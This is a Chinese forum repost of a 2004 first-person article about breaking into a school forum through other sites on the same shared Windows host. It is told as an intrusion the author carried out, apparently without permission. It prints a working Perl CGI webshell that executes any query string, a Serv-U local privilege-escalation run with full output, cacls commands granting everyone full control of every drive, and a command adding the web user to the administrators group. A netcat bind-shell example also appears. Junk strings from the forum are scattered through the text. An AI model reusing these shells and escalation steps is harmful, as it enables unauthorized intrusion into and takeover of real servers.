找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2239|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
; A  z3 i$ t: e本文作者:angel6 |8 O& X/ D: B1 T! ?
文章性质:原创
: _, @3 w: ?4 v. r发布日期:2004-11-09
; x1 ]' J. B" }# y3 I& k7 R注意:0 b8 h7 B" x6 x  i' Z
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
6 a/ {7 R( j: q" j: p! O本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
1 H5 n' T* l2 W3 v3 {. r
, s, x# ~% k/ z' r* k  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ) I8 w( V3 K% D1 K# S( f* ^
8 g/ J( T! E6 X+ M6 y( ^
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
: T+ u* t. [  z; i% J7 b  D, w: h: T" Z! i" V
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
' p, Y5 H0 |& m- Z7 p! }/ _0 G0 ^4 `- U7 X
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
3 q- u; r" H" b# k% a7 Z1 s
2 c2 v/ `, `, u1 b  j7 D! i/ e6 W* a4 y  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
+ z7 p9 S' X, H: [4 n9 {
& y' s) G% U5 C) V: B0 `  没有目的的跳转目录着…… ' ?6 C9 L& {9 a# z& r$ P, X; Q) {: _

, b# q' i( G) u. O  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
1 O2 \( c9 ?, X1 z, D3 n. o' B
3 J8 B5 i' p7 ?# W* k2 y  结束了吗?不,我试着 FTP 一下:
/ h' ~% D1 z5 a  \/ L. X2 F. Z5 @( \, @8 S, X9 X* E! j
Microsoft Windows 2000 [Version 5.00.2195]% k, u9 Z3 G3 i! y: U8 K4 m
(C) 版权所有 1985-2000 Microsoft Corp. 1 m2 D& ?+ \  U$ u3 i! b* M
8 a  T6 T% x5 N" w1 h* M& G
C:\Documents and Settings\Administrator>ftp www.school.com
) x2 n9 U/ Z! TConnected to www. school.com. : Y7 n3 l9 B# c9 G; v
220 Welcome to FTP Server...
0 o9 N( J$ [9 xUser (www.bjtrq.com:(none)): - ~4 N3 n- R- w/ p+ M8 p
331 User name okay, need password. , R: L) Q8 C! G
Password: 0 z( ?5 ?- g0 {2 Q  b& m3 z
530 Not logged in. # p" V- V4 y9 |1 r9 M; ?+ K
Login failed.
* U. E: n/ f9 @) Fftp> bye 8 x; S, y2 C' [, J6 J
221 Goodbye!
# y# H2 U8 A5 l& [ * x0 ^* I& L# H7 k: k, y# v+ m
  e5 @1 i- m! ], M" t- i* I* Q
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
0 J4 x; I( }: x' [7 i9 O" X( ]# f
) E! \) m0 \+ d  f: o  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ! q3 t! y4 ]5 T5 W6 a1 J& ~
: h5 @' l5 _4 K/ U  _1 {8 |
Application Data
2 y4 n% c4 t2 |9 y6 GDocuments; G  X# t$ B  b& t; b" w
DRM1 [4 b& r5 T1 x/ I8 U, u+ {
Favorites
0 Y. a# v, P# tTemplates: q  c: ^% F4 E  W! H3 k9 P
「开始」菜单& p' v$ c8 Q9 Q" M5 d
桌面& }* q; W1 K3 {9 W) x' d* [- f
+ _9 Q+ o0 U( W0 c# E" v

! d$ n# k% p" l6 F/ ~  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 4 S& ?7 B+ K' K# n

, ^8 H" N  @# r# B6 i9 M: ZActiveState ActivePerl 5.8
' P$ o9 X. X8 a' }Administrative Tools: ~' N  m! i$ G( K3 y! \6 o0 x& L2 k
Deerfield.com
  A' c' s, r! e2 hDTemp7 v5 v$ I. l; A4 Y# q9 V9 v/ ]
IPSentry
- z  m" E3 t7 L! eMBM 5
* b) X+ q3 l9 r, ONetMeter0 ?. l! g8 k. z2 i; B. s2 o% @
Network ICE
- ~1 f+ X2 N. G( rPersits Software AspEmail4 u( I% P  F/ Y9 t! M" B
Persits Software AspJpeg
4 L# R& f  m  {& p- {Serv-U FTP Server
7 `& h; z( J  A2 i9 e  ?5 }Symantec Client Security+ m" j0 I6 B! ?% w1 A( M
Windows 优化大师
, C( {" Y9 H2 y# G. r& YWinRAR
' Y4 n. N8 d' I8 {# I启动/ c' M& _6 }# l: B( g% j
管理工具6 a5 N. }" [* _
附件1 f! A5 [% f8 K0 k8 \

8 H8 Z+ e. d6 N/ Y" |0 @5 k- N6 P/ g5 @3 i) ~
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
! d' B& V2 x. G" g* ~5 [  M. [: A& p
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
- U0 A6 f& j+ k, ~; o- T2 U! d3 o0 w7 O3 x& {$ n6 e1 Z+ K" W
User281=angel|1|0 ! ^2 Q; d6 C( b0 O" G" y. y/ D

: ]; F) I5 x( m4 [. o$ l, k5 S* z. y. D6 V' u6 S
  然后加上
0 f' L! s& M4 ~  t" ~1 |- y9 S) f( Q; A! Z, h% E, u/ h/ g
[USER=angel|1]  Q  q0 u+ v4 W: X
Password=ng98F85379EA68DBF97BAADCA99B69B805
) V( g! Z+ |2 o/ m% zHomeDir=D:\websites3 \& Z! {. q+ Y7 R
RelPaths=1( u1 b4 ?5 ~' I" ]. `/ q
TimeOut=600  V! J+ X5 @) `& x' e7 \: z9 R
Maintenance=System
& \/ f4 E& v: o; [+ sAccess1=D:\websites|RWAMELCDP
: Y. O8 ]4 `7 XSKEYValues=% e8 H/ f" s3 P+ K! I2 R

  h8 h- ]% ~, q" a4 r# q* `& |: b9 I% r( o
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… . ?! B1 u3 M9 O$ B, B: I, i; m

( }+ u% R. _, K+ F( j  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
+ M( h3 \2 p5 f9 i4 @! c( b- e4 y+ B5 Y0 [5 j  M
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 8 V; c6 W( o# f) `% b9 Q' y
9 D3 u  Y6 M$ v5 x- X& c: M
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: , |, l) r: a& A' _& J
4 u6 _8 a# o' ^0 K
#!/usr/bin/perl" i. c0 G. h/ `, L+ z/ |% c! T
binmode(STDOUT);
2 y3 `7 a; U7 W( u/ t6 Bsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);, C" e& M7 s$ w$ `) r% Q8 u
$_ = $ENV{QUERY_STRING};
6 d5 P0 ]0 b8 V9 \+ ns/%20/ /ig;$ W/ T. O% l6 B) z
s/%2f/\//ig;" Z/ L4 C( W3 n+ A3 P+ P
$execthis = $_;
" A# ^+ ]/ `6 v- g0 Qsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
' |0 p- b' P$ C0 T. S: vopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
! O2 j8 c# S! ?% u3 h; z8 c3 Ksystem($execthis);
0 R# i) O* |, h# _' V7 g# s& Qsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
) x0 J. |* W7 d. Fclose(STDERR);. C' O! P1 U3 C! q$ E% ^1 a/ y' P6 f6 |0 A" E
close(STDOUT);
( F5 @  D" l/ d3 Fexit;
# K$ V& }; R$ o( R6 z
. g) k% o) v9 A. m* F- A/ I! H
5 r) {1 w' Y1 B" V  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
1 M6 k. }- e2 u4 x/ |( b2 Q* [. m5 v) p: ~/ G; K# R- K
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: % }- K8 w+ i1 C( R$ x, i& P

; a9 ]  B& o- F; n" X9 `http://anyhost//cmd.pl?d:\user\bin\su.exe % f6 b1 n7 P, e7 V2 {5 K) x1 d1 w

, m0 Y1 e5 j2 G3 {& w* p' y  z
# s$ E+ }$ W) K1 B! w  返回:
! ^# B. J5 S$ ^4 ]. B3 b7 ]) e2 o* h2 B
Serv-u >3.x Local Exploit by xiaolu / o5 U4 w) T+ N" ~# {% C

$ X% P, _# h2 CUSAGE: serv-u.exe "command" ! S: I7 W, j& `% _1 k+ }3 m

3 I+ w2 d2 u! O) GExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" , C$ h# p! x2 S; N; R( ^

$ t( j- o. b+ O- m' m3 u1 {
" e6 U" A# T4 }  u) R2 X5 F  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
- M8 _5 \+ [% h% K0 x; w. A8 N0 m
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
  H+ {+ n, x8 Y: M0 C( J6 x( L8 f( [1 R" A1 i7 w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ) V& a! X/ J" ]0 `3 y! l7 y

& }( r' L$ o/ j6 Ehttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ' u7 B, e8 v5 D- X- g0 J

( c- C( g0 M" h0 H- whttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
1 r1 r2 U$ S4 a; H4 R. q; o% X" K 5 N0 O0 j- N% }& W, u

6 d5 d2 x3 ?4 j0 p  R% J# a  返回下面的信息,就表示成功了!!!
- B  P7 s$ j, a8 s5 I1 j/ p
3 o' v! @3 B  P/ BServ-u >3.x Local Exploit by xiaolu
6 A1 F( R' L0 e- s- B7 q' Y6 k* R: j
<220 Serv-U FTP Server v5.2 for WinSock ready...
" Q) |: Z% W1 j3 J7 Y
" ]. K5 p3 i$ M) R>USER LocalAdministrator
) Z+ O: N8 u; M  v& I
! i/ i  P) c- s3 I; j<331 User name okay, need password.
0 }8 q" ]+ P: j2 m- x
' S6 F( ~# x: z( [******************************************************
9 t2 n4 m5 p3 @7 R5 ]9 g( Z
/ t! y- m# V; k' J0 F>PASS #l@$ak#.lk;0@P 2 m' V7 q* @. X/ |. {
, a& v; O  f0 r2 Q3 ~! c$ y* \
<230 User logged in, proceed.
+ p8 S' x+ P6 H' H; f
6 l5 i% ?+ d- F5 r  \****************************************************** % A. K7 S5 i" o8 h
3 f% Y# o7 D0 M! J; P8 D
>SITE MAINTENANCE * h; t7 o. J" j) q8 X: u
% Y5 ^+ Y  M7 k5 U8 E) i) y
******************************************************
3 O4 ~* X3 r% o2 }' h9 ?/ P6 v2 E! J
[+] Creating New Domain... ; v. S/ E; Q- k' E3 \  N, ?

7 b# Z7 @  [+ ^0 i$ j" N* g. H# ~<200-DomainID=2
& v, l" l. @% _. B# G2 v( b2 y+ c7 o7 f, {/ n
<220 Domain settings saved
7 _  ]* I# a: g  ^+ ?/ J; G) D( J
' f2 |9 n- @' H: a****************************************************** ! |7 ~; j0 N$ u) Z

5 _: ~% U* ^0 x% _& A! \: \[+] Domain xl:2 Created
8 A" _2 S( b! ^1 v+ e5 n$ K
, ~( E0 J! s7 |" b6 R; s2 N* y[+] Creating Evil User
6 k. \  v* l1 Q/ b. W4 |; H' \3 `6 G" z3 a) d! R1 T
<200-User=xl
" ~- x" |  w7 I
8 f$ f/ |5 H6 o8 {+ n% m200 User settings saved 2 _& n  |- W, v# S# k
3 F8 \/ z4 e1 a0 q
****************************************************** 2 X* `8 k" u: B: H% o( G, M

, Z& `! ?5 Z! }1 r' S7 j[+] Now Exploiting... ) C7 G& p+ d& j2 }

+ U/ M$ a0 Y9 h7 D1 e>USER xl / x' n! ^9 c: K" E
  R2 r5 H7 |$ h  {7 q/ C/ H0 a
<331 User name okay, need password.
0 C/ f3 `9 E5 V. l
' C! k+ f  @, I******************************************************
- |8 [* C& F6 \) }& d) ?' k/ M. T- g& @6 x# a$ P% _+ ~, o8 x* H
>PASS 111111 8 ]+ s$ B; g4 ]9 t
# u$ @% z2 `* A8 S
<230 User logged in, proceed. $ I7 p3 e6 p  M

' w2 |, b  M4 u% s4 R3 J****************************************************** 3 _3 U) M! B% A# }+ ?% k8 `
6 V: S3 C/ ~, p* f7 J% v
[+] Now Executing: cacls.exe c: /E /T /G everyone:F $ S7 J$ \3 d  U" D

, C0 P2 R8 y! t; F! I5 N<220 Domain deleted
, n4 A+ W; T! s; k% S- m; y1 H7 w' B
******************************************************
; _3 Q  ~" M/ S' L' r
  q6 N& J+ R& A6 a* T- T; Y
$ e$ w# U) m! T: J6 r- _: [  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 _8 ~5 \) v# ?# c- N( t( _4 C/ B
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 5 `9 Q6 d9 z( G: I* K
% v  E: K, l9 b- `# A) j9 h
! g. i+ g5 ~' v/ Q: e
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
! f$ ^' C8 M/ H% S4 w3 O  Q
. H2 @2 S5 S( r; P  n( [- {6 @  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。4 T# @  _/ _6 V$ w' K
$ \$ f, G1 c& L3 a
  ( C' g, j' k3 o$ p, |9 n) n9 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表